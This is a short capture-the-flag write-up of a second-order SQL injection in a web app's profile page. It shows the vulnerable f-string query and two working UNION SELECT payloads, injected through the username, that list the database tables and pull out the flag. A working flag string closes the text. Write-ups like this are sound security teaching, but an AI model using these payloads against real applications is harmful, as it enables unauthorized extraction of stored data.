This challenge was a Second Order SQLi, you had control over a database entry, your username, that could later be used to inject into a SQL query on the profile page. The final solution was to register with a username similar to ' UNION select flag, CURRENT_TIMESTAMP from flags where 'metactf_is_awesome'='metactf_is_awesome, then login and view your profile to trigger the second order SQLi, thus getting the flag.
Browsing through the provided source code, we see several endpoints that interact with SQL:
/register, /login, and /profile. Looking at the /register and /login queries, they appear to be proper parameterized queries:
query = "INSERT INTO users (username, password, salt) VALUES (%s, %s, %s)"
cursor.execute(query, (username, password, salt))
However, this is not the case on the /profile endpoint:
query = f"SELECT username, created_at FROM users WHERE username='{username}'"
cursor.execute(query)
user = cursor.fetchone()
We can inject into this query to return a value in place of our username! One thing to note is that although we can put almost anything into username, we need to get a timestamp into created_at, otherwise the page will error before giving us output. We can easily get a timestamp by using the built in CURRENT_TIMESTAMP. With all of this, we can use the injection ' UNION SELECT GROUP_CONCAT(table_name), CURRENT_TIME FROM information_schema.tables WHERE table_schema=DATABASE() AND 'metactf_is_awesome'='metactf_is_awesome to enumerate tables. In our case, since the challenge is whitebox, we know that we need the flag out of the flags table, so our final injection will be ' UNION select flag, CURRENT_TIMESTAMP from flags where 'metactf_is_awesome'='metactf_is_awesome, we simply register with that username, login, and then view our profile.
Flag: MetaCTF{Ill_h4v3_7h47_s3c0nd_0rd3r_0f_SQLi_pl3453}